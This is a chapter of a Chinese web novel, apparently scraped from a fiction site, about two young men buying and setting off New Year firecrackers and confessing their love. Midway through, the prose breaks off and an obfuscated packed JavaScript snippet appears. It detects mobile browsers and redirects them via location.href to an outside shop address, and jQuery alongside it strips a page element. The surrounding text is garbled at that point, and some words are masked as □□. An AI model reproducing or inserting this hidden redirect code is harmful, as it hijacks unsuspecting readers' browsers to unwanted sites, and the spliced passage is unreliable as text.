农历二十八一大早，周浩就被电话吵醒了。
他迷迷糊糊摸过手机，屏幕上跳着“林屿”两个字。
“喂……”声音还带着睡意。
“起了吗？”
“没……”
“起了。”林屿说，“九点来接你。”
周浩愣了一下。
“接我？去哪儿？”
“买鞭炮。”
周浩彻底清醒了。
他坐起来，抓了抓乱糟糟的头发。
“买鞭炮？不是买过了吗？”
“那是小鞭炮。”林屿说，“玩的那种。”
周浩眨了眨眼。
“那今天买什么？”
“大的。”林屿说，“过年放的，一卷一卷那种。”
周浩张了张嘴。
大的。
一卷一卷的。
他想起小时候过年，爸爸点那种大鞭炮，他躲在门后面捂着耳朵，又怕又想看。
“周浩？”林屿在电话那头叫他。
“在、在！”
“九点。”
“好！”
挂断电话，周浩看着手机屏幕发呆。
大的鞭炮。
林屿想和他一起放大的鞭炮。
这个认知让他心跳加速。
九点整，周浩准时出现在小区门口。
他今天穿了件深蓝色棉服，里面是白色卫衣，帽子上一圈毛。头发抓了两下，喷了发胶，闻起来一股橘子味。
林屿站在路边等他。
他穿了一件黑色长款羽绒服，围巾是周浩送的那条灰色羊绒的。手里拎着个帆布袋，里面不知道装的什么。
周浩跑过去。
“等很久了？”
“刚到。”林屿看着他，“换发型了？”
周浩愣了一下：“你看出来了？”
“嗯。”林屿说，“往右边分的。”
周浩心跳漏了一拍。
“你……你怎么每次都能看出来？”
林屿没说话。
他伸手，把周浩卫衣帽子上的毛捋了捋。
“走吧。”
周浩跟在他后面，嘴角压都压不住。
今天的目的地不是商场，是城外的一个批发市场。
林屿说那儿有专门卖鞭炮的店，一卷一卷的大鞭炮，各种尺寸都有。
打车过去要四十分钟。路上周浩一直看着窗外，眼睛亮亮的。
“林屿。”
“嗯。”
“你以前放过那种大鞭炮吗？”
“放过。”林屿说，“小时候跟我爸。”
“我也有！”周浩转过头，“我小时候也跟我爸放！他点，我躲在门后面看！”
林屿看着他。
“现在呢？”
周浩愣了一下。
“现在什么？”
“现在还敢看吗？”
周浩想了想。
“敢……吧？”他有点不确定，“但是要离远点。”
林屿嘴角微微弯了一下。
“那等会儿你离远点。”
“那你呢？”
“我点。”
周浩看着他。
林屿的表情很平静，像在说今天天气不错。
周浩忽然觉得心跳有点快。
“林屿。”
“嗯。”
“你点的时候，我在旁边看着你。”
林屿转头看他。
周浩的眼睛亮亮的，里面映着窗外的阳光。
“……好。”
批发市场很热闹，到处都是置办年货的人。卖对联的、卖干果的、卖肉的、卖鱼的，吆喝声此起彼伏。
卖鞭炮的店在最里面，一个很大的棚子，门口堆满了各种鞭炮。大挂鞭、小挂鞭、二踢脚、□□，一卷一卷摞得比人还高。
周浩站在门口，看呆了。
“这么多……”
“嗯。”林屿牵着他走进去，“挑挑。”
老板是个中年大叔，看见他们进来，热情地招呼：“买鞭炮啊？自己家用还是送人？”
“自己家用。”林屿说。
“那看看这个！”老板指着门口最大的一卷，“一万响的，过年放最气派！”
周浩看着那卷比他还粗的鞭炮，咽了口口水。
“这个……是不是太大了？”
“大什么大！”老板笑了，“过年嘛，越大越喜庆！”
周浩看向林屿。
林屿没说话，在店里慢慢转着看。
他看得很仔细。每一卷都拿起来看看标签，问问老板多少响、燃多长时间、声音大不大。
周浩跟在后面，看他认真挑的样子，心里软软的。
挑了半天，林屿选中了三卷。
一卷五千响的，一卷三千响的，一卷一千响的。
“就这些。”他对老板说。
老板麻利地把三卷鞭炮装进大塑料袋里。
“还要别的吗？二踢脚？□□？”
林屿想了想，看向周浩。
“你想要吗？”
周浩愣了一下。
“我、我都行……”
“要还是不要？”
周浩犹豫了一下。
“□□……好看吗？”
“好看。”老板插嘴，“晚上放，五颜六色的，可漂亮了！”
周浩眼睛亮了亮。
林屿看见了。
“来两个。”他说。
老板笑呵呵地又装了两个□□。
周浩在旁边看着，心里甜滋滋的。
买完鞭炮，两人拎着大袋子往外走。
袋子很沉，林屿一个人拎着。周浩要帮忙，他不让。
“你拿着那个就行。”林屿指了指他手里的另一个袋子——里面装的是昨天买的春联和窗花。
周浩拎着那个轻飘飘的袋子，看着林屿拎着大鞭炮走在前面的背影。
忽然觉得，这个画面他可以看一辈子。
出了市场，他们找了个地方吃午饭。
是小饭馆，几张桌子，生意很好。周浩点了两碗牛肉面，又要了一盘拍黄瓜。
等面的时候，他看着对面那袋大鞭炮。
“林屿。”
“嗯。”
“这些鞭炮，什么时候放？”
“初一早上。”
“那么早？”
“嗯。”林屿说，“我们家习惯初一早上放。”
周浩想了想。
“那我初一早点去你家。”
林屿看着他。
“几点？”
“五……五点？”周浩有点不确定，“会不会太早？”
“不用。”林屿说，“你多睡会儿。”
“可是我想看你们放鞭炮——”
“你来就能看。”林屿说，“几点都行。”
周浩愣了一下。
“真的？”
“嗯。”
周浩笑了。
“那我初一早上四点就起！”
林屿看着他。
“起得来吗？”
“起得来！”周浩信誓旦旦，“为了看鞭炮，起得来！”
林屿没说话。
但他嘴角微微弯了一下。
面端上来了，热腾腾的。周浩埋头吃，吃了两口，忽然想起什么。
“林屿。”
“嗯。”
“你爸妈……知道我们今天买鞭炮吗？”
“知道。”
“他们说什么？”
“没说什么。”林屿夹了一筷子面，“就说别买太大的。”
周浩愣了一下。
“那……我们买的那卷五千响的，算大吗？”
林屿想了想。
“算。”
周浩：“……”
“但是。”林屿说，“我妈说，你想买就买。”
周浩愣住了。
“你妈说的？”
“嗯。”
“她、她知道是我……”
“知道。”林屿看着他，“我说了，和你一起买的。”
周浩张了张嘴，不知道该说什么。
林屿看着他。
“我妈喜欢你。”他说，“我爸也是。”
周浩眼眶有点酸。
他低下头，继续吃面。
吃了两口，闷闷地说：“林屿。”
“嗯。”
“你爸妈真好。”
“嗯。”
“你也好。”
林屿愣了一下。
然后他低头，继续吃面。
但耳尖红了。
吃完饭，两人打车回城。
车上，周浩靠着林屿的肩膀，有点困。
“林屿。”
“嗯。”
“今天开心。”
“嗯。”
“你呢？”
林屿沉默了几秒。
“开心。”
周浩笑了。
他往林屿肩上又靠了靠，闭上眼睛。
林屿低头看他。
周浩的睫毛很长，安静地覆着。嘴角还带着一点笑，不知道在做什么好梦。
林屿看了一会儿，收回视线。
但他伸手，把周浩往自己这边轻轻揽了揽。
前排的司机从后视镜里看了一眼，笑了笑，没说话。
车窗外，午后的阳光很好。
腊月的风很冷，但车里很暖。
回到林屿家，已经下午三点多了。
林妈妈开门，看见他们拎着大袋鞭炮，笑了。
“买这么多？”
“嗯。”林屿把袋子放下，“五千响的，三千响的，一千响的，还有两个□□。”
林妈妈看了看，又看向周浩。
“小周挑的？”
周浩连忙摆手：“不是我！林屿挑的！”
林妈妈笑了。
“他挑的跟你挑的一样。”她说，“他喜欢的东西，肯定也是你喜欢的。”
周浩愣住了。
林屿在旁边，耳尖微微红了一点。
林妈妈没再说什么，去厨房忙活了。
周浩站在原地，看着林屿。
“林屿。”
“嗯。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271928|198139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“你妈刚才的话……”
“什么？”
“她说你喜欢的，肯定也是我喜欢的。”
林屿没说话。
周浩看着他。
“那……你喜欢我什么？”
林屿沉默了几秒。
“都喜欢。”
周浩愣住了。
林屿看着他，眼神很认真。
“你喜欢鞭炮，我就想和你一起买鞭炮。你喜欢□□，我就买□□。你喜欢吃牛肉面，我就陪你吃牛肉面。”
他顿了顿。
“你喜欢的东西，我也喜欢。”
周浩张了张嘴，不知道该说什么。
林屿看着他。
“周浩。”
“嗯……”
“我喜欢你。”他说，“所以你喜欢什么，我就喜欢什么。”
周浩眼眶酸了。
他低下头，过了很久。
“……林屿。”
“嗯。”
“你这样说话，我会哭的。”
林屿愣了一下。
然后他伸手，轻轻揉了揉他的头发。
“别哭。”他说，“晚上还要放鞭炮呢。”
周浩抬起头，眼睛红红的。
“晚上放？”
“嗯。”林屿说，“三千响的那个，今晚试放一下。”
周浩眼睛亮了。
“真的？”
“嗯。”
周浩笑了。
他把眼泪憋回去，用力点头。
“好！”
晚上七点，天已经黑透了。
林屿家楼下有个小广场，平时没什么人。今晚风不大，月亮很亮，是个放鞭炮的好天气。
林屿拎着那卷三千响的鞭炮下楼。周浩跟在后面，又兴奋又紧张。
“林屿。”
“嗯。”
“这个……声音大吗？”
“有点。”
周浩咽了口口水。
“那、那我站远点。”
“好。”
林屿在广场中央把鞭炮展开。三千响的鞭炮很长，一圈一圈盘在地上，像一条红色的蛇。
周浩站在十米开外，捂着耳朵。
林屿看了他一眼。
“再远点？”
周浩摇头。
“就这儿。”他捂着耳朵喊，“我能看见你！”
林屿没说话。
他蹲下来，拿出打火机。
引线点着了。
“滋——”
细小的火花在夜色里跳动。
林屿站起来，快步往后退。
他退到周浩身边，握住他的手。
“捂好耳朵。”
周浩用力点头。
“嘭！”
第一声炸响。
然后是密集的“噼里啪啦”，一声接一声，像爆豆子，像下暴雨。
红色的纸屑飞溅，在夜色里翻腾。
周浩捂着耳朵，眼睛却死死盯着那片火光。
林屿站在他旁边，也看着。
火光映在他们脸上，明明灭灭。
三千响放了好一会儿。
最后一响落下，四周突然安静了。
只有硝烟的味道，和满地的红纸屑。
周浩放下手，长长地呼出一口气。
“放完了……”
“嗯。”林屿看着他，“怕吗？”
周浩想了想。
“有点。”他老实说，“但是……”
他顿了顿，笑了。
“但是你在，就不怕。”
林屿看着他。
月光下，周浩的眼睛很亮。
林屿忽然伸手，把他拉进怀里。
周浩愣了一下。
“林屿……”
“让我抱一会儿。”
周浩没说话。
他靠在林屿怀里，听着他的心跳。
硝烟的味道还在，混着林屿身上淡淡的洗衣液香。
“林屿。”
“嗯。”
“明年还这样放。”
“好。”
“后年也放。”
“好。”
“每年都放。”
林屿低头，在他发顶亲了一下。
“每年都放。”
周浩笑了。
他把脸埋进林屿胸口，抱紧他。
楼上，林妈妈站在阳台上，看着楼下抱在一起的两个人。
她笑了笑，转身回去。
“外面冷。”她对林爸爸说，“给他们煮点姜汤吧。”
林爸爸点点头。
“好。”
楼下，两人还抱着。
满地的红纸屑在夜风里轻轻打旋。
远处有人家也在放鞭炮，声音隐隐约约传来。
周浩忽然说：“林屿。”
“嗯。”
“我爱你。”
林屿愣了一下。
然后他把他抱得更紧。
“……我也爱你。”
月亮很亮。
风很冷。
但心很暖。